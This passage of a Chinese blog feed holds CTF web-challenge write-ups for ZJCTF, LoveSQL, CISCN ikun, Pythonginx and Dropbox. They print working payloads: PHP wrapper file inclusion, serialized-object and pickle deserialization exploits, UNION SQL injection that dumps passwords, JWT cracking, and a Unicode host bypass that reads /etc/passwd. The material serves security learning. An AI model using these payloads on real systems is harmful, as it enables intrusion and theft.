proxies=proxy)</span><br><span class="line"> <span class="comment"># print(resp.json())</span></span><br><span class="line"> // json解析获取hostname的值,根据hostname排序时,第一个值为webgoat-acc</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'webgoat-acc'</span> <span class="keyword">in</span> resp.json()[<span class="number">0</span>][<span class="string">'hostname'</span>]:</span><br><span class="line"> result += char</span><br><span class="line"> <span class="built_in">print</span>(result)</span><br><span class="line"> <span class="keyword">if</span> temp == result:</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> webgoat </tag>
<tag> webgoat 登录注册模块审计 </tag>
</tags>
</entry>
<entry>
<title>20.[ZJCTF 2019]NiZhuanSiWei</title>
<link href="/2019/08/06/CTF/20.%5BZJCTF%202019%5DNiZhuanSiWei/"/>
<url>/2019/08/06/CTF/20.%5BZJCTF%202019%5DNiZhuanSiWei/</url>
<content type="html"><![CDATA[<p><strong>考察知识点:</strong></p><p><strong>1.php伪协议(php://input,php:///filter)</strong></p><p><strong>2.序列化 toString</strong></p><p><strong>1.打开网站发现源代码</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line"><span class="variable">$text</span> = <span class="variable">$_GET</span>[<span class="string">"text"</span>];</span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[<span class="string">"file"</span>];</span><br><span class="line"><span class="variable">$password</span> = <span class="variable">$_GET</span>[<span class="string">"password"</span>];</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$text</span>)&&(file_get_contents(<span class="variable">$text</span>,<span class="string">'r'</span>)===<span class="string">"welcome to the zjctf"</span>)){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<br><h1>"</span>.file_get_contents(<span class="variable">$text</span>,<span class="string">'r'</span>).<span class="string">"</h1></br>"</span>;</span><br><span class="line"> <span class="keyword">if</span>(preg_match(<span class="string">"/flag/"</span>,<span class="variable">$file</span>)){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Not now!"</span>;</span><br><span class="line"> <span class="keyword">exit</span>(); </span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">include</span>(<span class="variable">$file</span>); <span class="comment">//useless.php</span></span><br><span class="line"> <span class="variable">$password</span> = unserialize(<span class="variable">$password</span>);</span><br><span class="line"> <span class="keyword">echo</span> <span class="variable">$password</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"> highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><strong>2. 查看源代码需要使$text的内容为”welcome to the zjctf”,并且是使用file_get_contents()的方式,不能直接text=”welcome to the zjctf”</strong></p><p>此时需要采取php://input伪协议</p><p>构造:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">?text=php:<span class="comment">//input</span></span><br><span class="line"></span><br><span class="line">post:</span><br><span class="line"> welcome to the zjctf</span><br></pre></td></tr></table></figure><p>![20.[1.png)</p><p>此时已经绕过第一个限制</p><p><strong>3. 提示存在useless.php文件,并且该文件才include前并没有进行任何限制,很显然存在文件包含漏洞,使用php://filter伪协议即可读取源代码</strong></p><p>构造:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">?text=php:<span class="comment">//input&file=php://filter/convert.base64-encode/resource=useless.php</span></span><br><span class="line"></span><br><span class="line">post:</span><br><span class="line"> welcome to the zjctf</span><br></pre></td></tr></table></figure><p><img src="3.png" alt="3"></p><p><strong>4.读取到useless.php文件原代码的base64编码,解码即可得到源代码</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Flag</span></span>{ <span class="comment">//flag.php </span></span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$file</span>; </span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__tostring</span>(<span class="params"></span>)</span>{ </span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="keyword">$this</span>->file)){ </span><br><span class="line"> <span class="keyword">echo</span> file_get_contents(<span class="keyword">$this</span>->file); </span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<br>"</span>;</span><br><span class="line"> <span class="keyword">return</span> (<span class="string">"U R SO CLOSE !///COME ON PLZ"</span>);</span><br><span class="line"> } </span><br><span class="line"> } </span><br><span class="line">} </span><br><span class="line"><span class="meta">?></span> </span><br></pre></td></tr></table></figure><p><strong>5. 根据index.php的unserialize和uselexx.php的toString方法判断存在序列化漏洞</strong></p><p>,只要使useless.php文件中的file=flag.php即可得到flag.php文件的你内容</p><p>构造序列化数据exp:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Flag</span></span>{ <span class="comment">//flag.php</span></span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$file</span>=<span class="string">"flag.php"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="variable">$file</span>=<span class="keyword">new</span> Flag();</span><br><span class="line"><span class="keyword">echo</span> serialize(<span class="variable">$file</span>);</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line">输出:</span><br><span class="line">O:<span class="number">4</span>:<span class="string">"Flag"</span>:<span class="number">1</span>:{s:<span class="number">4</span>:<span class="string">"file"</span>;s:<span class="number">8</span>:<span class="string">"flag.php"</span>;}</span><br></pre></td></tr></table></figure><p><strong>6.访问即可得到flag</strong></p><p><img src="4.png" alt="4"></p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>19.[极客大挑战 2019]LoveSQL</title>
<link href="/2019/08/05/CTF/19.%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019%5DLoveSQL/"/>
<url>/2019/08/05/CTF/19.%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019%5DLoveSQL/</url>
<content type="html"><![CDATA[<p>考察知识点:</p><p>1.union/**/select sql注入</p><ol><li>过滤测试</li></ol><p><img src="1.png" alt="1"></p><p>虽然select被过滤但是union/**/select还可以使用</p><p>2.确定字段数</p><p>构造:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?username=admin&password=admin'union/**/select+null,null,null#</span><br></pre></td></tr></table></figure><p>当null的数量为四时,报错,所以查询数据库表有四个字段</p><p>3.确定回显点</p><p><img src=".png" alt="2"></p><p>用户密码可用作回显点</p><p>\4. 暴库</p><p>![3](19.[极客大挑战 2019]LoveSQL/3.png)</p><p>5.爆表</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/check.php?username=admin&password=admin<span class="string">'union/**/select+null,null,group_concat(table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database();%23</span></span><br></pre></td></tr></table></figure><p>![4](19.[极客大挑战 2019]LoveSQL/4.png)</p><p>\6. 爆字段内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?username=admin&password=admin'union/**/select+null,null,group_concat(password)/**/from/**/l0ve1ysq1;%23</span><br></pre></td></tr></table></figure><p>![5](19.[极客大挑战 2019]LoveSQL/5.png)</p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>18.[CISCN2019 华北赛区 Day1 Web2]ikun</title>
<link href="/2019/08/04/CTF/18.%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web2%5Dikun/"/>
<url>/2019/08/04/CTF/18.%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web2%5Dikun/</url>
<content type="html"><![CDATA[<p>考察知识点:</p><p>1.python 脚本编写</p><p>\2. jwt破解</p><p>\3. </p><p>1.提示需要冲到lv6</p><p><img src="1.png" alt="1"></p><p>\2. 发现下一页可以一直点击,推测lv6在某一页</p><p>采用脚本爆破:</p><p>因为网页中的会员等级在网页中是等级对应的图片,所以爆破脚本只需要不断获取lv6.png即可</p><p><img src="2.png" alt="2"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url=<span class="string">'http://0302ff1f-762a-4a95-8aad-32d665cf5b9f.node3.buuoj.cn/shop?page='</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">500</span>):</span><br><span class="line"> r=requests.get(url+<span class="built_in">str</span>(i))</span><br><span class="line"></span><br><span class="line"> <span class="built_in">print</span>(url+<span class="built_in">str</span>(i))</span><br><span class="line"> <span class="comment"># print(r.text)</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">"lv6.png"</span> <span class="keyword">in</span> r.text:</span><br><span class="line"> <span class="built_in">print</span>(i)</span><br><span class="line"> <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>最终在181页发现lv6</p><p><img src="3.png" alt="3"></p><p>3.购买会员,但是发现钱不够,抓包发现可以任意更改折扣</p><p><img src="4.png" alt="4"></p><p>当折扣改的足够小时,会发生302跳转,</p><p>\4. 跳转的302页面,显示只允许admin用户访问,所以此时思路就是伪造成admin用户</p><p>发现传输协议中使用了jwt,jwt是不安全的</p><p><a href="https://zhuanlan.zhihu.com/p/71672282">https://zhuanlan.zhihu.com/p/71672282</a></p><p><img src="5.png" alt="5"></p><p>\5. 伪造jwt</p><p>5.1 安装jwt破解工具</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/brendan-rius/c-jwt-cracker</span><br><span class="line">make</span><br><span class="line">./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImgxMWJhMSJ9.dZLQ2sL0AKiPll8PmCVQ4ZXiMNXT9AxYtE3U1qhDR6Y</span><br></pre></td></tr></table></figure><p><img src="6.png" alt="6"></p><p>5.2 伪造成admin用户</p><p><a href="https://jwt.io/">https://jwt.io/</a></p><p><img src="7.png" alt="7"></p><p>\6. 访问刚才的后台</p><p>发现网站的源码</p><p><img src="8.png" alt="8"></p><p>\7. 下载到源码发现admin.py存在反序列化</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> tornado.web</span><br><span class="line"><span class="keyword">from</span> sshop.base <span class="keyword">import</span> BaseHandler</span><br><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">AdminHandler</span>(<span class="params">BaseHandler</span>):</span></span><br><span class="line"><span class="meta"> @tornado.web.authenticated</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">get</span>(<span class="params">self, *args, **kwargs</span>):</span></span><br><span class="line"> <span class="keyword">if</span> self.current_user == <span class="string">"admin"</span>:</span><br><span class="line"> <span class="keyword">return</span> self.render(<span class="string">'form.html'</span>, res=<span class="string">'This is Black Technology!'</span>, member=<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> self.render(<span class="string">'no_ass.html'</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta"> @tornado.web.authenticated</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">post</span>(<span class="params">self, *args, **kwargs</span>):</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> become = self.get_argument(<span class="string">'become'</span>)</span><br><span class="line"> p = pickle.loads(urllib.unquote(become))</span><br><span class="line"> <span class="keyword">return</span> self.render(<span class="string">'form.html'</span>, res=p, member=<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">return</span> self.render(<span class="string">'form.html'</span>, res=<span class="string">'This is Black Technology!'</span>, member=<span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>8.构造exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">payload</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__reduce__</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="keyword">return</span> (<span class="built_in">eval</span>, (<span class="string">"open('/flag.txt','r').read()"</span>,))</span><br><span class="line"></span><br><span class="line">a = pickle.dumps(payload())</span><br><span class="line">a = urllib.quote(a)</span><br><span class="line"><span class="built_in">print</span> a</span><br></pre></td></tr></table></figure><p>\9. 抓包发送payload</p><p><img src="9.png" alt="9"></p><p><img src="10.png" alt="10.png"></p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>17.[BUUCTF 2018]Online Tool</title>
<link href="/2019/08/03/CTF/17.%5BBUUCTF%202018%5DOnline%20Tool/"/>
<url>/2019/08/03/CTF/17.%5BBUUCTF%202018%5DOnline%20Tool/</url>
<content type="html"><![CDATA[<p>考察知识点:</p><p>1.nmap -oG参数具有写文件操作</p><p>2.PHP escapeshellarg()+escapeshellcmd() 之殇</p><p>两个函数搭配会使原来的转义效果,消失</p><p><a href="https://paper.seebug.org/164/">https://paper.seebug.org/164/</a></p><p>\1. 构造一句话木马访问即可</p><p><img src="1.png" alt="1"></p><p>2.蚁剑访问即可</p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>16.[SUCTF 2019]Pythonginx</title>
<link href="/2019/08/02/CTF/16.%5BSUCTF%202019%5DPythonginx/"/>
<url>/2019/08/02/CTF/16.%5BSUCTF%202019%5DPythonginx/</url>
<content type="html"><![CDATA[<p><strong>考察知识点:</strong></p><p>\1. pathon <strong>CVE-2019-9636:urlsplit不处理NFKC标准化</strong></p><p>\2. nginx 配置文件</p><p><strong>1.题目给出源码</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">@app.route(<span class="string">'/getUrl'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>])</span><br><span class="line">def getUrl():</span><br><span class="line"></span><br><span class="line"> url = request.args.get(<span class="string">"url"</span>)</span><br><span class="line"> host = parse.urlparse(url).hostname</span><br><span class="line"> <span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"我扌 your problem? 111"</span></span><br><span class="line"></span><br><span class="line"> parts = <span class="keyword">list</span>(urlsplit(url))</span><br><span class="line"> host = parts[<span class="number">1</span>]</span><br><span class="line"> <span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"我扌 your problem? 222 "</span> + host</span><br><span class="line"> newhost = []</span><br><span class="line"> <span class="keyword">for</span> h in host.split(<span class="string">'.'</span>):</span><br><span class="line"> newhost.append(h.encode(<span class="string">'idna'</span>).decode(<span class="string">'utf-8'</span>))</span><br><span class="line"> parts[<span class="number">1</span>] = <span class="string">'.'</span>.join(newhost)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#去掉 url 中的空格</span></span><br><span class="line"> finalUrl = urlunsplit(parts).split(<span class="string">' '</span>)[<span class="number">0</span>]</span><br><span class="line"> host = parse.urlparse(finalUrl).hostname</span><br><span class="line"> <span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">return</span> urllib.request.urlopen(finalUrl).read()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"我扌 your problem? 333"</span></span><br></pre></td></tr></table></figure><p>源码大体意思就是host前两次不能等于’suctf.cc’</p><p>第三次等于’suctf.cc’</p><p><strong>2.此题和[HCTF 2018]admin有点类似,也是利用特殊字符多次处理时会改变来造成攻击</strong></p><p>列如:[HCTF 2018]admin</p><p><img src="1.png" alt="1"></p><p><strong>3.可以****利用ℂ来替换.cc中的从c,在最后出来后会恢复成c,也就成功绕过了if判断,阔以修改个源码用来测试</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">import urllib</span><br><span class="line"><span class="keyword">from</span> urllib import parse</span><br><span class="line"><span class="keyword">from</span> urllib.parse import urlsplit, urlunsplit</span><br><span class="line"></span><br><span class="line"><span class="comment">#url = []</span></span><br><span class="line">url = <span class="string">"file://suctf.cℂ/../../../etc/passwd"</span></span><br><span class="line">host = parse.urlparse(url).hostname</span><br><span class="line"><span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">print</span>(<span class="string">'first'</span>)</span><br><span class="line"> <span class="keyword">exit</span>(<span class="number">1</span>)</span><br><span class="line"><span class="keyword">print</span>(<span class="string">'1 '</span>+host)</span><br><span class="line">parts = <span class="keyword">list</span>(urlsplit(url))</span><br><span class="line">host = parts[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">print</span>(<span class="string">'sec'</span>)</span><br><span class="line"> <span class="keyword">exit</span>(<span class="number">2</span>)</span><br><span class="line"><span class="keyword">print</span>(<span class="string">'2 '</span>+host)</span><br><span class="line">newhost = []</span><br><span class="line"><span class="keyword">for</span> h in host.split(<span class="string">'.'</span>):</span><br><span class="line"> newhost.append(h.encode(<span class="string">'idna'</span>).decode(<span class="string">'utf-8'</span>))</span><br><span class="line">parts[<span class="number">1</span>] = <span class="string">'.'</span>.join(newhost)</span><br><span class="line"><span class="comment">#去掉 url 中的空格</span></span><br><span class="line">finalUrl = urlunsplit(parts).split(<span class="string">' '</span>)[<span class="number">0</span>]</span><br><span class="line">host = parse.urlparse(finalUrl).hostname</span><br><span class="line"><span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">print</span>(<span class="string">'3 '</span>+host)</span><br><span class="line"> <span class="keyword">print</span>(finalUrl)</span><br><span class="line"> <span class="comment">#print(urllib.request.urlopen(finalUrl).read())</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">print</span>(<span class="string">'???'</span>)</span><br><span class="line"> <span class="keyword">exit</span>(<span class="number">3</span>)</span><br></pre></td></tr></table></figure><p>ℂ第一次经过host = parse.urlparse(url).hostname时变成了:ℂ</p><p>第二次:ℂ</p><p>第三次:c</p><p>符合代码的规定,接下来可以进行任意文件读取</p><p><img src="2.png" alt="2"></p><p><strong>4.</strong> <strong>ℂ是特殊字符,url编码</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">import urllib</span><br><span class="line"></span><br><span class="line">url = <span class="string">"file://suctf.cℂ/../../../etc/passwd"</span></span><br><span class="line"><span class="keyword">print</span>(urllib.parse.quote(url.encode(<span class="string">'utf-8'</span>, <span class="string">'replace'</span>)))</span><br></pre></td></tr></table></figure><p><img src="3.png" alt="3"></p><p><strong>6.题目提示nginx,尝试读取nginx配置文件</strong></p><ul><li>配置文件存放目录:/etc/nginx</li><li>主配置文件:/etc/nginx/conf/nginx.conf</li><li>管理脚本:/usr/lib64/systemd/system/nginx.service</li><li>模块:/usr/lisb64/nginx/modules</li><li>应用程序:/usr/sbin/nginx</li><li>程序默认存放位置:/usr/share/nginx/html</li><li>日志默认存放位置:/var/log/nginx</li><li>/usr/local/nginx/conf/nginx.con</li></ul><p><img src="4.png" alt="4"></p><p>知道flag文件位置读取</p><p><strong>7.读取/user/flllllag</strong></p><p><img src="5.png" alt="5"></p><p><strong>8.爆破可用字符的脚本</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> urllib.parse import urlparse,urlunsplit,urlsplit</span><br><span class="line"><span class="keyword">from</span> urllib import parse</span><br><span class="line">def get_unicode():</span><br><span class="line"> <span class="keyword">for</span> x in range(<span class="number">65536</span>):</span><br><span class="line"> uni=chr(x)</span><br><span class="line"> url=<span class="string">"http://suctf.c{}"</span>.format(uni)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">if</span> getUrl(url):</span><br><span class="line"> <span class="keyword">print</span>(<span class="string">"str: "</span>+uni+<span class="string">' unicode: \\u'</span>+str(hex(x))[<span class="number">2</span>:])</span><br><span class="line"> except:</span><br><span class="line"> pass</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def getUrl(url):</span><br><span class="line"> url = url</span><br><span class="line"> host = parse.urlparse(url).hostname</span><br><span class="line"> <span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"> parts = <span class="keyword">list</span>(urlsplit(url))</span><br><span class="line"> host = parts[<span class="number">1</span>]</span><br><span class="line"> <span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"> newhost = []</span><br><span class="line"> <span class="keyword">for</span> h in host.split(<span class="string">'.'</span>):</span><br><span class="line"> newhost.append(h.encode(<span class="string">'idna'</span>).decode(<span class="string">'utf-8'</span>))</span><br><span class="line"> parts[<span class="number">1</span>] = <span class="string">'.'</span>.join(newhost)</span><br><span class="line"> finalUrl = urlunsplit(parts).split(<span class="string">' '</span>)[<span class="number">0</span>]</span><br><span class="line"> host = parse.urlparse(finalUrl).hostname</span><br><span class="line"> <span class="keyword">if</span> host == <span class="string">'suctf.cc'</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__==<span class="string">"__main__"</span>:</span><br><span class="line"> get_unicode()</span><br></pre></td></tr></table></figure><p><img src="6.png" alt="6"></p>]]></content>
<categories>
<category> CTF </category>
</categories>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>15.[CISCN2019 华北赛区 Day1 Web1]Dropbox</title>
<link href="/2019/08/01/CTF/15.%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox/"/>
<url>/2019/08/01/CTF/15.%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox/</url>
<content type="html"><![CDATA[<p><strong>考察知识点:</strong></p><p><strong>1.任意文件下载</strong></p><p><strong>2.phar://伪协议 触发序列化造成文件读取</strong></p><p><a href="https://blog.csdn.net/weixin_44077544/article/details/102844554">https://blog.csdn.net/weixin_44077544/article/details/102844554</a></p><p>1.任意文件下载漏洞下载网页源码 </p><p>有这几个php文件,主要看class.php和delete.php文件按</p><p><img src="1.png" alt="1"></p><p>\2. 源码分析</p><p>download.php中下载的文件名不能含有flag.php</p><p>所以推测存在flag文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">session_start();</span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$_SESSION</span>[<span class="string">'login'</span>])) {</span><br><span class="line"> header(<span class="string">"Location: login.php"</span>);</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'filename'</span>])) {</span><br><span class="line"> <span class="keyword">die</span>();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">include</span> <span class="string">"class.php"</span>;</span><br><span class="line"><span 